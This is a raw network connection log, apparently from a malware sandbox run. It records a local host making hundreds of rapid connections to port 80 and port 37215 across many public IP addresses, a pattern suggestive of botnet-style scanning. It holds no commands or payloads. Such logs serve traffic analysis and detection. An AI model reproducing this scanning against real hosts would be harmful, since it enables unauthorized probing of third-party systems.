Dec 3, 2024 22:11:53.390607119 CET	37228	80	192.168.2.23	4.207.41.110
Dec 3, 2024 22:11:53.399789095 CET	37215	50668	197.133.211.94	192.168.2.23
Dec 3, 2024 22:11:53.399847984 CET	50668	37215	192.168.2.23	197.133.211.94
Dec 3, 2024 22:11:53.399915934 CET	50668	37215	192.168.2.23	197.133.211.94
Dec 3, 2024 22:11:53.399915934 CET	50668	37215	192.168.2.23	197.133.211.94
Dec 3, 2024 22:11:53.400218010 CET	50694	37215	192.168.2.23	197.133.211.94
Dec 3, 2024 22:11:53.402195930 CET	37215	55322	197.55.121.154	192.168.2.23
Dec 3, 2024 22:11:53.402245998 CET	55322	37215	192.168.2.23	197.55.121.154
Dec 3, 2024 22:11:53.402493954 CET	37215	48308	156.162.252.29	192.168.2.23
Dec 3, 2024 22:11:53.402535915 CET	48308	37215	192.168.2.23	156.162.252.29
Dec 3, 2024 22:11:53.407722950 CET	37215	56720	197.100.146.120	192.168.2.23
Dec 3, 2024 22:11:53.407756090 CET	37215	55190	197.132.47.59	192.168.2.23
Dec 3, 2024 22:11:53.407777071 CET	37215	33316	156.188.165.91	192.168.2.23
Dec 3, 2024 22:11:53.414657116 CET	80	57970	85.19.189.63	192.168.2.23
Dec 3, 2024 22:11:53.414721012 CET	57970	80	192.168.2.23	85.19.189.63
Dec 3, 2024 22:11:53.414844036 CET	6883	80	192.168.2.23	143.229.68.126
Dec 3, 2024 22:11:53.414844036 CET	6883	80	192.168.2.23	220.77.138.145
Dec 3, 2024 22:11:53.414860964 CET	6883	80	192.168.2.23	173.132.66.5
Dec 3, 2024 22:11:53.414863110 CET	6883	80	192.168.2.23	64.106.208.3
Dec 3, 2024 22:11:53.414872885 CET	6883	80	192.168.2.23	102.122.52.150
Dec 3, 2024 22:11:53.414887905 CET	6883	80	192.168.2.23	37.104.214.254
Dec 3, 2024 22:11:53.414887905 CET	6883	80	192.168.2.23	1.163.20.105
Dec 3, 2024 22:11:53.414887905 CET	6883	80	192.168.2.23	157.67.114.204
Dec 3, 2024 22:11:53.414895058 CET	6883	80	192.168.2.23	191.175.53.108
Dec 3, 2024 22:11:53.414901972 CET	6883	80	192.168.2.23	1.16.78.247
Dec 3, 2024 22:11:53.414902925 CET	6883	80	192.168.2.23	165.95.218.62
Dec 3, 2024 22:11:53.414902925 CET	6883	80	192.168.2.23	64.252.178.230
Dec 3, 2024 22:11:53.414906025 CET	80	57792	50.183.212.32	192.168.2.23
Dec 3, 2024 22:11:53.414921045 CET	80	43134	72.124.120.20	192.168.2.23
Dec 3, 2024 22:11:53.414926052 CET	6883	80	192.168.2.23	223.162.72.210
Dec 3, 2024 22:11:53.414927006 CET	6883	80	192.168.2.23	109.186.194.215
Dec 3, 2024 22:11:53.414927006 CET	6883	80	192.168.2.23	58.178.154.236
Dec 3, 2024 22:11:53.414933920 CET	6883	80	192.168.2.23	45.26.70.85
Dec 3, 2024 22:11:53.414944887 CET	6883	80	192.168.2.23	73.124.196.9
Dec 3, 2024 22:11:53.414946079 CET	57792	80	192.168.2.23	50.183.212.32
Dec 3, 2024 22:11:53.414962053 CET	43134	80	192.168.2.23	72.124.120.20
Dec 3, 2024 22:11:53.414962053 CET	6883	80	192.168.2.23	162.165.122.163
Dec 3, 2024 22:11:53.414980888 CET	6883	80	192.168.2.23	4.118.95.15
Dec 3, 2024 22:11:53.414988041 CET	6883	80	192.168.2.23	101.255.214.124
Dec 3, 2024 22:11:53.414988041 CET	6883	80	192.168.2.23	123.12.201.65
Dec 3, 2024 22:11:53.414990902 CET	6883	80	192.168.2.23	146.29.9.189
Dec 3, 2024 22:11:53.414994955 CET	6883	80	192.168.2.23	223.254.6.189
Dec 3, 2024 22:11:53.414995909 CET	6883	80	192.168.2.23	88.167.61.30
Dec 3, 2024 22:11:53.414997101 CET	6883	80	192.168.2.23	167.240.203.203
Dec 3, 2024 22:11:53.415005922 CET	6883	80	192.168.2.23	82.205.107.255
Dec 3, 2024 22:11:53.415008068 CET	6883	80	192.168.2.23	12.163.249.191
Dec 3, 2024 22:11:53.415009022 CET	6883	80	192.168.2.23	128.12.128.175
Dec 3, 2024 22:11:53.415009022 CET	6883	80	192.168.2.23	223.37.29.226
Dec 3, 2024 22:11:53.415018082 CET	6883	80	192.168.2.23	207.146.82.177
Dec 3, 2024 22:11:53.415019035 CET	6883	80	192.168.2.23	48.16.242.18
Dec 3, 2024 22:11:53.415030003 CET	6883	80	192.168.2.23	184.12.223.35
Dec 3, 2024 22:11:53.415030003 CET	6883	80	192.168.2.23	5.76.92.90
Dec 3, 2024 22:11:53.415035009 CET	6883	80	192.168.2.23	94.39.166.48
Dec 3, 2024 22:11:53.415035009 CET	6883	80	192.168.2.23	134.150.53.108
Dec 3, 2024 22:11:53.415047884 CET	6883	80	192.168.2.23	222.75.55.44
Dec 3, 2024 22:11:53.415047884 CET	6883	80	192.168.2.23	73.255.133.55
Dec 3, 2024 22:11:53.415051937 CET	6883	80	192.168.2.23	206.188.130.252
Dec 3, 2024 22:11:53.415055990 CET	6883	80	192.168.2.23	168.214.191.142
Dec 3, 2024 22:11:53.415070057 CET	6883	80	192.168.2.23	178.82.57.100
Dec 3, 2024 22:11:53.415071011 CET	6883	80	192.168.2.23	213.121.137.66
Dec 3, 2024 22:11:53.415072918 CET	6883	80	192.168.2.23	90.250.234.174
Dec 3, 2024 22:11:53.415074110 CET	6883	80	192.168.2.23	32.180.8.159
Dec 3, 2024 22:11:53.415077925 CET	6883	80	192.168.2.23	154.42.64.76
Dec 3, 2024 22:11:53.415096998 CET	6883	80	192.168.2.23	96.211.2.240
Dec 3, 2024 22:11:53.415096998 CET	6883	80	192.168.2.23	96.10.242.114
Dec 3, 2024 22:11:53.415096998 CET	6883	80	192.168.2.23	157.73.134.128
Dec 3, 2024 22:11:53.415098906 CET	6883	80	192.168.2.23	176.42.19.241
Dec 3, 2024 22:11:53.415098906 CET	6883	80	192.168.2.23	222.32.183.43
Dec 3, 2024 22:11:53.415100098 CET	6883	80	192.168.2.23	196.108.155.56
Dec 3, 2024 22:11:53.415103912 CET	6883	80	192.168.2.23	103.127.73.239
Dec 3, 2024 22:11:53.415103912 CET	6883	80	192.168.2.23	23.140.9.172
Dec 3, 2024 22:11:53.415115118 CET	6883	80	192.168.2.23	183.221.60.139
Dec 3, 2024 22:11:53.415116072 CET	6883	80	192.168.2.23	165.252.1.19
Dec 3, 2024 22:11:53.415122986 CET	6883	80	192.168.2.23	195.25.205.35
Dec 3, 2024 22:11:53.415126085 CET	6883	80	192.168.2.23	49.137.252.254
Dec 3, 2024 22:11:53.415126085 CET	6883	80	192.168.2.23	23.71.25.137
Dec 3, 2024 22:11:53.415129900 CET	6883	80	192.168.2.23	36.86.197.1
Dec 3, 2024 22:11:53.415133953 CET	6883	80	192.168.2.23	111.218.32.109
Dec 3, 2024 22:11:53.415132999 CET	6883	80	192.168.2.23	103.89.63.102
Dec 3, 2024 22:11:53.415132999 CET	6883	80	192.168.2.23	168.79.29.235
Dec 3, 2024 22:11:53.415134907 CET	6883	80	192.168.2.23	97.148.97.31
Dec 3, 2024 22:11:53.415138006 CET	6883	80	192.168.2.23	158.43.161.51
Dec 3, 2024 22:11:53.415148973 CET	6883	80	192.168.2.23	223.177.197.56
Dec 3, 2024 22:11:53.415158033 CET	6883	80	192.168.2.23	192.33.248.101
Dec 3, 2024 22:11:53.415160894 CET	6883	80	192.168.2.23	176.240.56.176
Dec 3, 2024 22:11:53.415163994 CET	6883	80	192.168.2.23	77.63.237.138
Dec 3, 2024 22:11:53.415163994 CET	6883	80	192.168.2.23	24.26.125.9
Dec 3, 2024 22:11:53.415178061 CET	6883	80	192.168.2.23	86.181.14.236
Dec 3, 2024 22:11:53.415189028 CET	6883	80	192.168.2.23	32.217.227.220
Dec 3, 2024 22:11:53.415191889 CET	6883	80	192.168.2.23	188.80.89.157
Dec 3, 2024 22:11:53.415191889 CET	6883	80	192.168.2.23	23.95.20.31
Dec 3, 2024 22:11:53.415205002 CET	6883	80	192.168.2.23	121.68.124.238
Dec 3, 2024 22:11:53.415213108 CET	6883	80	192.168.2.23	126.100.156.219
Dec 3, 2024 22:11:53.415219069 CET	6883	80	192.168.2.23	156.59.157.104
Dec 3, 2024 22:11:53.415220022 CET	6883	80	192.168.2.23	194.20.154.136
Dec 3, 2024 22:11:53.415224075 CET	6883	80	192.168.2.23	142.210.251.154
Dec 3, 2024 22:11:53.415246010 CET	6883	80	192.168.2.23	88.21.64.166
Dec 3, 2024 22:11:53.415246010 CET	6883	80	192.168.2.23	38.95.148.116
Dec 3, 2024 22:11:53.415247917 CET	6883	80	192.168.2.23	65.196.230.103
Dec 3, 2024 22:11:53.415251970 CET	6883	80	192.168.2.23	65.56.222.89
Dec 3, 2024 22:11:53.415251970 CET	6883	80	192.168.2.23	149.205.24.125
Dec 3, 2024 22:11:53.415258884 CET	6883	80	192.168.2.23	121.5.222.32
Dec 3, 2024 22:11:53.415262938 CET	6883	80	192.168.2.23	105.106.99.109
Dec 3, 2024 22:11:53.415262938 CET	6883	80	192.168.2.23	41.97.230.181
Dec 3, 2024 22:11:53.415267944 CET	6883	80	192.168.2.23	153.193.199.183
Dec 3, 2024 22:11:53.415267944 CET	6883	80	192.168.2.23	163.53.79.83
Dec 3, 2024 22:11:53.415271997 CET	6883	80	192.168.2.23	61.99.165.204
Dec 3, 2024 22:11:53.415273905 CET	6883	80	192.168.2.23	25.235.51.170
Dec 3, 2024 22:11:53.415277958 CET	6883	80	192.168.2.23	186.170.6.203
Dec 3, 2024 22:11:53.415282011 CET	6883	80	192.168.2.23	65.146.192.195
Dec 3, 2024 22:11:53.415282965 CET	6883	80	192.168.2.23	52.15.225.4
Dec 3, 2024 22:11:53.415292978 CET	6883	80	192.168.2.23	135.80.202.145
Dec 3, 2024 22:11:53.415299892 CET	6883	80	192.168.2.23	148.150.54.175
Dec 3, 2024 22:11:53.415299892 CET	6883	80	192.168.2.23	148.104.206.219
Dec 3, 2024 22:11:53.415303946 CET	6883	80	192.168.2.23	196.112.141.150
Dec 3, 2024 22:11:53.415307999 CET	6883	80	192.168.2.23	82.213.59.126
Dec 3, 2024 22:11:53.415321112 CET	6883	80	192.168.2.23	186.185.143.206
Dec 3, 2024 22:11:53.415334940 CET	6883	80	192.168.2.23	142.46.105.129
Dec 3, 2024 22:11:53.415334940 CET	6883	80	192.168.2.23	211.116.253.90
Dec 3, 2024 22:11:53.415334940 CET	6883	80	192.168.2.23	18.208.148.2
Dec 3, 2024 22:11:53.415338039 CET	6883	80	192.168.2.23	110.65.44.116
Dec 3, 2024 22:11:53.415338039 CET	6883	80	192.168.2.23	52.33.232.56
Dec 3, 2024 22:11:53.415349007 CET	6883	80	192.168.2.23	80.82.167.156
Dec 3, 2024 22:11:53.415349007 CET	6883	80	192.168.2.23	4.76.151.128
Dec 3, 2024 22:11:53.415352106 CET	6883	80	192.168.2.23	95.231.242.100
Dec 3, 2024 22:11:53.415353060 CET	6883	80	192.168.2.23	211.206.178.23
Dec 3, 2024 22:11:53.415360928 CET	6883	80	192.168.2.23	181.91.182.231
Dec 3, 2024 22:11:53.415363073 CET	6883	80	192.168.2.23	166.104.254.202
Dec 3, 2024 22:11:53.415369034 CET	6883	80	192.168.2.23	173.27.99.156
Dec 3, 2024 22:11:53.415379047 CET	6883	80	192.168.2.23	135.31.124.43
Dec 3, 2024 22:11:53.415383101 CET	6883	80	192.168.2.23	192.143.60.126
Dec 3, 2024 22:11:53.415388107 CET	6883	80	192.168.2.23	1.37.34.39
Dec 3, 2024 22:11:53.415397882 CET	6883	80	192.168.2.23	63.138.226.219
Dec 3, 2024 22:11:53.415400028 CET	6883	80	192.168.2.23	194.152.84.49
Dec 3, 2024 22:11:53.415410042 CET	6883	80	192.168.2.23	81.178.65.17
Dec 3, 2024 22:11:53.415410042 CET	6883	80	192.168.2.23	176.154.166.243
Dec 3, 2024 22:11:53.415412903 CET	6883	80	192.168.2.23	198.214.238.77
Dec 3, 2024 22:11:53.415412903 CET	6883	80	192.168.2.23	212.79.148.14
Dec 3, 2024 22:11:53.415422916 CET	6883	80	192.168.2.23	184.245.38.192
Dec 3, 2024 22:11:53.415430069 CET	6883	80	192.168.2.23	133.239.4.77
Dec 3, 2024 22:11:53.415430069 CET	6883	80	192.168.2.23	52.220.114.164
Dec 3, 2024 22:11:53.415437937 CET	6883	80	192.168.2.23	162.21.207.91
Dec 3, 2024 22:11:53.415441036 CET	6883	80	192.168.2.23	184.139.52.199
Dec 3, 2024 22:11:53.415441036 CET	6883	80	192.168.2.23	94.183.165.3
Dec 3, 2024 22:11:53.415450096 CET	6883	80	192.168.2.23	195.125.151.148
Dec 3, 2024 22:11:53.415458918 CET	6883	80	192.168.2.23	118.237.27.139
Dec 3, 2024 22:11:53.415458918 CET	6883	80	192.168.2.23	2.33.38.220
Dec 3, 2024 22:11:53.415463924 CET	6883	80	192.168.2.23	183.122.222.169
Dec 3, 2024 22:11:53.415473938 CET	6883	80	192.168.2.23	94.238.121.13
Dec 3, 2024 22:11:53.415477991 CET	6883	80	192.168.2.23	34.119.211.146
Dec 3, 2024 22:11:53.415477991 CET	6883	80	192.168.2.23	217.136.252.103
Dec 3, 2024 22:11:53.415488958 CET	6883	80	192.168.2.23	217.162.143.186
Dec 3, 2024 22:11:53.415502071 CET	6883	80	192.168.2.23	221.186.15.100
Dec 3, 2024 22:11:53.415502071 CET	6883	80	192.168.2.23	82.196.138.156
Dec 3, 2024 22:11:53.415515900 CET	6883	80	192.168.2.23	218.109.89.85
Dec 3, 2024 22:11:53.415519953 CET	6883	80	192.168.2.23	138.157.71.78
Dec 3, 2024 22:11:53.415519953 CET	6883	80	192.168.2.23	137.88.151.11
Dec 3, 2024 22:11:53.415524960 CET	6883	80	192.168.2.23	136.120.34.214
Dec 3, 2024 22:11:53.415529013 CET	6883	80	192.168.2.23	130.188.1.4
Dec 3, 2024 22:11:53.415534019 CET	6883	80	192.168.2.23	139.162.159.254
Dec 3, 2024 22:11:53.415539026 CET	6883	80	192.168.2.23	44.160.219.145
Dec 3, 2024 22:11:53.415539980 CET	6883	80	192.168.2.23	209.219.205.63
Dec 3, 2024 22:11:53.415541887 CET	6883	80	192.168.2.23	158.131.45.109
Dec 3, 2024 22:11:53.415559053 CET	6883	80	192.168.2.23	46.12.129.96
Dec 3, 2024 22:11:53.415561914 CET	6883	80	192.168.2.23	111.64.195.70
Dec 3, 2024 22:11:53.415564060 CET	6883	80	192.168.2.23	62.218.253.193
Dec 3, 2024 22:11:53.415574074 CET	6883	80	192.168.2.23	129.233.67.214
Dec 3, 2024 22:11:53.415574074 CET	6883	80	192.168.2.23	45.25.44.213
Dec 3, 2024 22:11:53.415574074 CET	6883	80	192.168.2.23	53.25.254.226
Dec 3, 2024 22:11:53.415581942 CET	6883	80	192.168.2.23	53.251.5.114
Dec 3, 2024 22:11:53.415590048 CET	6883	80	192.168.2.23	141.92.238.43
Dec 3, 2024 22:11:53.415605068 CET	6883	80	192.168.2.23	151.88.234.26
Dec 3, 2024 22:11:53.415606976 CET	6883	80	192.168.2.23	171.21.252.36
Dec 3, 2024 22:11:53.415613890 CET	6883	80	192.168.2.23	206.116.16.117
Dec 3, 2024 22:11:53.415625095 CET	6883	80	192.168.2.23	2.254.11.181
Dec 3, 2024 22:11:53.415628910 CET	6883	80	192.168.2.23	216.198.93.203
Dec 3, 2024 22:11:53.415636063 CET	6883	80	192.168.2.23	38.99.42.84
Dec 3, 2024 22:11:53.415637970 CET	6883	80	192.168.2.23	76.2.136.103
Dec 3, 2024 22:11:53.415642977 CET	6883	80	192.168.2.23	120.111.50.167
Dec 3, 2024 22:11:53.415652990 CET	6883	80	192.168.2.23	159.135.74.83
Dec 3, 2024 22:11:53.415652990 CET	6883	80	192.168.2.23	182.250.182.214
Dec 3, 2024 22:11:53.415654898 CET	6883	80	192.168.2.23	152.167.218.31
Dec 3, 2024 22:11:53.415669918 CET	6883	80	192.168.2.23	45.12.8.62
Dec 3, 2024 22:11:53.415669918 CET	6883	80	192.168.2.23	203.34.85.144
Dec 3, 2024 22:11:53.415673018 CET	6883	80	192.168.2.23	87.95.136.26
Dec 3, 2024 22:11:53.415688038 CET	6883	80	192.168.2.23	210.251.55.224
Dec 3, 2024 22:11:53.415688992 CET	6883	80	192.168.2.23	119.64.81.42
Dec 3, 2024 22:11:53.415689945 CET	6883	80	192.168.2.23	190.198.116.236
Dec 3, 2024 22:11:53.415705919 CET	6883	80	192.168.2.23	148.149.219.194
Dec 3, 2024 22:11:53.415705919 CET	6883	80	192.168.2.23	76.238.230.41
Dec 3, 2024 22:11:53.415709019 CET	6883	80	192.168.2.23	192.38.200.56
Dec 3, 2024 22:11:53.415709972 CET	6883	80	192.168.2.23	204.223.210.13
Dec 3, 2024 22:11:53.415714025 CET	6883	80	192.168.2.23	87.233.106.140
Dec 3, 2024 22:11:53.415751934 CET	6883	80	192.168.2.23	53.49.253.230
Dec 3, 2024 22:11:53.415751934 CET	6883	80	192.168.2.23	79.219.1.139
Dec 3, 2024 22:11:53.415754080 CET	6883	80	192.168.2.23	41.25.99.199
Dec 3, 2024 22:11:53.415751934 CET	6883	80	192.168.2.23	78.36.57.150
Dec 3, 2024 22:11:53.415751934 CET	6883	80	192.168.2.23	177.172.220.18
Dec 3, 2024 22:11:53.415755033 CET	6883	80	192.168.2.23	62.197.52.242
Dec 3, 2024 22:11:53.415755033 CET	6883	80	192.168.2.23	37.0.153.132
Dec 3, 2024 22:11:53.415755033 CET	6883	80	192.168.2.23	71.139.175.251
Dec 3, 2024 22:11:53.415755033 CET	6883	80	192.168.2.23	179.72.235.234
Dec 3, 2024 22:11:53.415755033 CET	6883	80	192.168.2.23	211.54.164.83
Dec 3, 2024 22:11:53.415760040 CET	6883	80	192.168.2.23	126.19.148.208
Dec 3, 2024 22:11:53.415761948 CET	6883	80	192.168.2.23	200.198.146.202
Dec 3, 2024 22:11:53.415762901 CET	6883	80	192.168.2.23	120.36.163.70
Dec 3, 2024 22:11:53.415764093 CET	6883	80	192.168.2.23	44.153.64.199
Dec 3, 2024 22:11:53.415764093 CET	6883	80	192.168.2.23	105.239.177.130
Dec 3, 2024 22:11:53.415764093 CET	6883	80	192.168.2.23	221.201.155.25
Dec 3, 2024 22:11:53.415766954 CET	6883	80	192.168.2.23	120.147.226.183
Dec 3, 2024 22:11:53.415767908 CET	6883	80	192.168.2.23	49.187.139.110
Dec 3, 2024 22:11:53.415777922 CET	6883	80	192.168.2.23	35.191.10.231
Dec 3, 2024 22:11:53.415779114 CET	6883	80	192.168.2.23	49.160.223.223
Dec 3, 2024 22:11:53.415781975 CET	6883	80	192.168.2.23	69.65.19.66
Dec 3, 2024 22:11:53.415787935 CET	6883	80	192.168.2.23	37.226.59.136
Dec 3, 2024 22:11:53.415788889 CET	6883	80	192.168.2.23	85.224.160.77
Dec 3, 2024 22:11:53.415790081 CET	6883	80	192.168.2.23	156.193.150.48
Dec 3, 2024 22:11:53.415797949 CET	6883	80	192.168.2.23	27.255.10.253
Dec 3, 2024 22:11:53.415800095 CET	6883	80	192.168.2.23	19.2.99.158
Dec 3, 2024 22:11:53.415808916 CET	6883	80	192.168.2.23	145.210.1.69
Dec 3, 2024 22:11:53.415811062 CET	6883	80	192.168.2.23	111.61.3.72
Dec 3, 2024 22:11:53.415823936 CET	6883	80	192.168.2.23	62.103.47.13
Dec 3, 2024 22:11:53.415823936 CET	6883	80	192.168.2.23	44.252.24.176
Dec 3, 2024 22:11:53.415826082 CET	6883	80	192.168.2.23	128.2.80.97
Dec 3, 2024 22:11:53.415834904 CET	6883	80	192.168.2.23	188.11.8.44
Dec 3, 2024 22:11:53.415834904 CET	6883	80	192.168.2.23	125.56.3.231
Dec 3, 2024 22:11:53.415844917 CET	6883	80	192.168.2.23	39.232.79.111
Dec 3, 2024 22:11:53.415855885 CET	6883	80	192.168.2.23	82.166.226.48
Dec 3, 2024 22:11:53.415863037 CET	6883	80	192.168.2.23	40.77.56.62
Dec 3, 2024 22:11:53.415868998 CET	6883	80	192.168.2.23	213.117.237.23
Dec 3, 2024 22:11:53.415870905 CET	6883	80	192.168.2.23	134.142.138.40
Dec 3, 2024 22:11:53.415879011 CET	6883	80	192.168.2.23	104.26.107.61
Dec 3, 2024 22:11:53.415879011 CET	6883	80	192.168.2.23	177.188.244.162
Dec 3, 2024 22:11:53.415882111 CET	6883	80	192.168.2.23	201.72.125.179
Dec 3, 2024 22:11:53.415882111 CET	6883	80	192.168.2.23	85.112.172.131
Dec 3, 2024 22:11:53.415888071 CET	6883	80	192.168.2.23	14.222.92.9
Dec 3, 2024 22:11:53.415889025 CET	6883	80	192.168.2.23	19.27.231.54
Dec 3, 2024 22:11:53.415889978 CET	6883	80	192.168.2.23	204.94.44.9
Dec 3, 2024 22:11:53.415890932 CET	6883	80	192.168.2.23	17.78.153.160
Dec 3, 2024 22:11:53.415891886 CET	6883	80	192.168.2.23	183.233.245.87
Dec 3, 2024 22:11:53.415906906 CET	6883	80	192.168.2.23	84.241.62.211
Dec 3, 2024 22:11:53.415919065 CET	6883	80	192.168.2.23	102.30.234.2
Dec 3, 2024 22:11:53.415925026 CET	6883	80	192.168.2.23	172.187.39.36
Dec 3, 2024 22:11:53.415925026 CET	6883	80	192.168.2.23	220.91.9.139
Dec 3, 2024 22:11:53.415925026 CET	6883	80	192.168.2.23	107.79.46.110
Dec 3, 2024 22:11:53.415929079 CET	6883	80	192.168.2.23	67.176.66.112
Dec 3, 2024 22:11:53.415930033 CET	37215	47336	197.251.221.207	192.168.2.23
Dec 3, 2024 22:11:53.415939093 CET	6883	80	192.168.2.23	4.251.192.62
Dec 3, 2024 22:11:53.415944099 CET	6883	80	192.168.2.23	38.108.160.104
Dec 3, 2024 22:11:53.415945053 CET	6883	80	192.168.2.23	162.72.247.123
Dec 3, 2024 22:11:53.415946960 CET	37215	43368	197.203.23.32	192.168.2.23
Dec 3, 2024 22:11:53.415949106 CET	6883	80	192.168.2.23	132.164.0.53
Dec 3, 2024 22:11:53.415951014 CET	6883	80	192.168.2.23	5.184.215.68
Dec 3, 2024 22:11:53.415960073 CET	37215	53488	197.205.232.108	192.168.2.23
Dec 3, 2024 22:11:53.415967941 CET	6883	80	192.168.2.23	164.56.157.115
Dec 3, 2024 22:11:53.415976048 CET	37215	57124	41.135.11.62	192.168.2.23
Dec 3, 2024 22:11:53.415982962 CET	6883	80	192.168.2.23	209.59.104.230
Dec 3, 2024 22:11:53.415994883 CET	6883	80	192.168.2.23	51.113.160.184
Dec 3, 2024 22:11:53.416011095 CET	37215	33946	156.0.99.185	192.168.2.23
Dec 3, 2024 22:11:53.416014910 CET	6883	80	192.168.2.23	176.21.224.53
Dec 3, 2024 22:11:53.416014910 CET	6883	80	192.168.2.23	46.22.123.107
Dec 3, 2024 22:11:53.416016102 CET	6883	80	192.168.2.23	164.162.114.167
Dec 3, 2024 22:11:53.416017056 CET	6883	80	192.168.2.23	128.25.224.141
Dec 3, 2024 22:11:53.416027069 CET	6883	80	192.168.2.23	134.194.33.255
Dec 3, 2024 22:11:53.416037083 CET	6883	80	192.168.2.23	59.113.127.98
Dec 3, 2024 22:11:53.416037083 CET	6883	80	192.168.2.23	184.138.86.28
Dec 3, 2024 22:11:53.416050911 CET	6883	80	192.168.2.23	67.83.48.152
Dec 3, 2024 22:11:53.416058064 CET	6883	80	192.168.2.23	204.169.230.195
Dec 3, 2024 22:11:53.416060925 CET	6883	80	192.168.2.23	148.190.132.172
Dec 3, 2024 22:11:53.416060925 CET	6883	80	192.168.2.23	8.34.117.94
Dec 3, 2024 22:11:53.416068077 CET	6883	80	192.168.2.23	68.98.188.248
Dec 3, 2024 22:11:53.416071892 CET	37215	40972	41.116.28.129	192.168.2.23
Dec 3, 2024 22:11:53.416084051 CET	37215	42458	156.35.235.116	192.168.2.23
Dec 3, 2024 22:11:53.416084051 CET	6883	80	192.168.2.23	72.114.63.159
Dec 3, 2024 22:11:53.416089058 CET	6883	80	192.168.2.23	57.156.57.186
Dec 3, 2024 22:11:53.416089058 CET	6883	80	192.168.2.23	98.87.71.162
Dec 3, 2024 22:11:53.416089058 CET	6883	80	192.168.2.23	159.139.66.4
Dec 3, 2024 22:11:53.416096926 CET	37215	34930	41.255.20.86	192.168.2.23
Dec 3, 2024 22:11:53.416104078 CET	6883	80	192.168.2.23	130.164.245.79
Dec 3, 2024 22:11:53.416104078 CET	6883	80	192.168.2.23	46.11.241.148
Dec 3, 2024 22:11:53.416105032 CET	6883	80	192.168.2.23	40.82.55.80
Dec 3, 2024 22:11:53.416109085 CET	6883	80	192.168.2.23	62.225.22.56
Dec 3, 2024 22:11:53.416115046 CET	6883	80	192.168.2.23	84.152.32.197
Dec 3, 2024 22:11:53.416137934 CET	6883	80	192.168.2.23	81.213.117.149
Dec 3, 2024 22:11:53.416145086 CET	6883	80	192.168.2.23	163.119.14.154
Dec 3, 2024 22:11:53.416148901 CET	37215	47312	41.184.3.254	192.168.2.23
Dec 3, 2024 22:11:53.416160107 CET	6883	80	192.168.2.23	66.23.56.26
Dec 3, 2024 22:11:53.416161060 CET	6883	80	192.168.2.23	54.47.117.69
Dec 3, 2024 22:11:53.416163921 CET	6883	80	192.168.2.23	98.246.89.91
Dec 3, 2024 22:11:53.416163921 CET	6883	80	192.168.2.23	175.31.204.68
Dec 3, 2024 22:11:53.416163921 CET	6883	80	192.168.2.23	187.222.81.247
Dec 3, 2024 22:11:53.416184902 CET	6883	80	192.168.2.23	47.132.192.147
Dec 3, 2024 22:11:53.416188002 CET	6883	80	192.168.2.23	39.1.178.41
Dec 3, 2024 22:11:53.416192055 CET	6883	80	192.168.2.23	205.87.227.14
Dec 3, 2024 22:11:53.416194916 CET	6883	80	192.168.2.23	100.25.203.121
Dec 3, 2024 22:11:53.416194916 CET	6883	80	192.168.2.23	13.210.153.189
Dec 3, 2024 22:11:53.416194916 CET	6883	80	192.168.2.23	150.170.105.103
Dec 3, 2024 22:11:53.416202068 CET	6883	80	192.168.2.23	59.99.82.149
Dec 3, 2024 22:11:53.416202068 CET	6883	80	192.168.2.23	94.166.250.202
Dec 3, 2024 22:11:53.416202068 CET	6883	80	192.168.2.23	168.127.145.193
Dec 3, 2024 22:11:53.416203976 CET	37215	33738	156.210.68.86	192.168.2.23
Dec 3, 2024 22:11:53.416215897 CET	6883	80	192.168.2.23	192.98.10.11
Dec 3, 2024 22:11:53.416215897 CET	6883	80	192.168.2.23	170.3.80.168
Dec 3, 2024 22:11:53.416227102 CET	6883	80	192.168.2.23	120.203.48.152
Dec 3, 2024 22:11:53.416228056 CET	6883	80	192.168.2.23	25.255.179.224
Dec 3, 2024 22:11:53.416235924 CET	6883	80	192.168.2.23	176.78.145.224
Dec 3, 2024 22:11:53.416239977 CET	6883	80	192.168.2.23	13.206.227.155
Dec 3, 2024 22:11:53.416246891 CET	6883	80	192.168.2.23	83.90.222.46
Dec 3, 2024 22:11:53.416248083 CET	6883	80	192.168.2.23	24.160.51.242
Dec 3, 2024 22:11:53.416260958 CET	6883	80	192.168.2.23	132.163.177.233
Dec 3, 2024 22:11:53.416260958 CET	6883	80	192.168.2.23	79.163.75.227
Dec 3, 2024 22:11:53.416263103 CET	6883	80	192.168.2.23	69.208.152.158
Dec 3, 2024 22:11:53.416269064 CET	6883	80	192.168.2.23	118.249.149.180
Dec 3, 2024 22:11:53.416276932 CET	6883	80	192.168.2.23	94.97.121.166
Dec 3, 2024 22:11:53.416280985 CET	37215	41114	156.47.36.125	192.168.2.23
Dec 3, 2024 22:11:53.416281939 CET	6883	80	192.168.2.23	200.15.151.241
Dec 3, 2024 22:11:53.416297913 CET	6883	80	192.168.2.23	118.155.200.98
Dec 3, 2024 22:11:53.416301966 CET	6883	80	192.168.2.23	177.201.106.193
Dec 3, 2024 22:11:53.416305065 CET	6883	80	192.168.2.23	105.142.134.120
Dec 3, 2024 22:11:53.416316986 CET	37215	52672	197.223.193.153	192.168.2.23
Dec 3, 2024 22:11:53.416318893 CET	6883	80	192.168.2.23	201.95.7.108
Dec 3, 2024 22:11:53.416318893 CET	6883	80	192.168.2.23	90.133.33.227
Dec 3, 2024 22:11:53.416342974 CET	6883	80	192.168.2.23	31.120.238.142
Dec 3, 2024 22:11:53.416346073 CET	6883	80	192.168.2.23	61.178.113.127
Dec 3, 2024 22:11:53.416352987 CET	6883	80	192.168.2.23	131.180.245.239
Dec 3, 2024 22:11:53.416352987 CET	6883	80	192.168.2.23	139.200.178.67
Dec 3, 2024 22:11:53.416352987 CET	6883	80	192.168.2.23	219.219.249.76
Dec 3, 2024 22:11:53.416352987 CET	6883	80	192.168.2.23	68.244.251.106
Dec 3, 2024 22:11:53.416352987 CET	6883	80	192.168.2.23	193.52.65.44
Dec 3, 2024 22:11:53.416357994 CET	37215	56104	156.109.62.186	192.168.2.23
Dec 3, 2024 22:11:53.416368008 CET	6883	80	192.168.2.23	50.44.3.107
Dec 3, 2024 22:11:53.416368961 CET	6883	80	192.168.2.23	190.143.107.229
Dec 3, 2024 22:11:53.416372061 CET	37215	45194	197.194.144.225	192.168.2.23
Dec 3, 2024 22:11:53.416374922 CET	6883	80	192.168.2.23	209.145.225.68
Dec 3, 2024 22:11:53.416374922 CET	6883	80	192.168.2.23	94.121.169.134
Dec 3, 2024 22:11:53.416385889 CET	6883	80	192.168.2.23	207.106.9.110
Dec 3, 2024 22:11:53.416385889 CET	6883	80	192.168.2.23	79.149.160.213
Dec 3, 2024 22:11:53.416407108 CET	6883	80	192.168.2.23	9.48.243.106
Dec 3, 2024 22:11:53.416415930 CET	6883	80	192.168.2.23	186.112.119.148
Dec 3, 2024 22:11:53.416418076 CET	6883	80	192.168.2.23	112.190.68.109
